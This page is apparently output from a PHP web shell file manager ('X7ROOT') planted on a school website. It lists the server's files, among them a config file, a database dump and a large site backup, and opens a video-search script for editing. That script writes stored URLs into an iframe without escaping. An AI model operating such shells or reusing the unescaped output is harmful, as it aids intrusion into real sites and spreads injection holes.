X7ROOT File Manager
Current Path:
/home/u126090504/domains/kiitacademy.in/public_html
home
/
u126090504
/
domains
/
kiitacademy.in
/
public_html
/
📄
+2-Arts&Commerce.php
(6.81 KB)
📁
..
📄
.htaccess
(1.12 KB)
📄
about-us.php
(9.37 KB)
📄
achievers.php
(3.36 KB)
📁
admin
📄
admission.php
(4.92 KB)
📄
admission_submit.php
(1.48 KB)
📄
album.php
(890 B)
📄
cleanup_README.txt
(1.25 KB)
📄
computer-courses.php
(22.83 KB)
📄
config.php
(1.21 KB)
📄
contact-us.php
(8.19 KB)
📄
contactdb.php
(796 B)
📁
css
📄
director's-message.php
(4.53 KB)
📄
downloads.php
(3.14 KB)
📄
error.log
(13.82 KB)
📄
facilities.php
(13.29 KB)
📄
faculty.php
(3.56 KB)
📁
fonts
📄
footer.php
(5.7 KB)
📄
franchise.php
(2.09 KB)
📄
gallery.php
(3.32 KB)
📄
header.php
(11.92 KB)
📁
images
📄
index.php
(39.44 KB)
📁
js
📁
kiit
📄
kiit-backup.zip
(85.95 MB)
📁
lib
📄
media.php
(2.76 KB)
📄
payment.php
(8.88 KB)
📄
payment_submit.php
(10.97 KB)
📄
payment_verify.php
(2.31 KB)
📁
qrcodes
📁
revolution
📄
search_videos.php
(1.76 KB)
📄
secure_upload.php
(2.87 KB)
📄
showpath.php
(107 B)
📄
u721653068_kiitinst25.sql
(17.4 KB)
📁
uploads
📄
videos.php
(4.38 KB)
Editing: search_videos.php
<?php include("config.php"); if (isset($_POST['search'])) { $search = $conn->real_escape_string($_POST['search']); $res = $conn->query("SELECT * FROM videos WHERE title LIKE '%$search%' ORDER BY id DESC"); if ($res->num_rows > 0) { while ($row = $res->fetch_assoc()) { $title = htmlspecialchars($row['title']); $video_url = $row['video_url']; // ✅ YouTube link ko embed me convert karo if (strpos($video_url, "youtube.com") !== false || strpos($video_url, "youtu.be") !== false) { if (strpos($video_url, "watch?v=") !== false) { $video_url = str_replace("watch?v=", "embed/", $video_url); } elseif (strpos($video_url, "youtu.be") !== false) { $video_url = str_replace("youtu.be/", "www.youtube.com/embed/", $video_url); } } // ✅ Google Drive link ko embed me convert karo if (strpos($video_url, "drive.google.com") !== false) { $video_url = str_replace("view?usp=sharing", "preview", $video_url); } echo ' <div class="col-lg-4 col-md-6 col-sm-12 mb-4"> <div class="card shadow-sm h-100"> <div class="embed-responsive embed-responsive-16by9"> <iframe class="embed-responsive-item" src="'.$video_url.'" allowfullscreen></iframe> </div> <div class="card-body text-center"> <h5 class="card-title">'.$title.'</h5> </div> </div> </div>'; } } else { echo "<p class='text-center col-12'>No videos found.</p>"; } } ?>
Upload File
Create Folder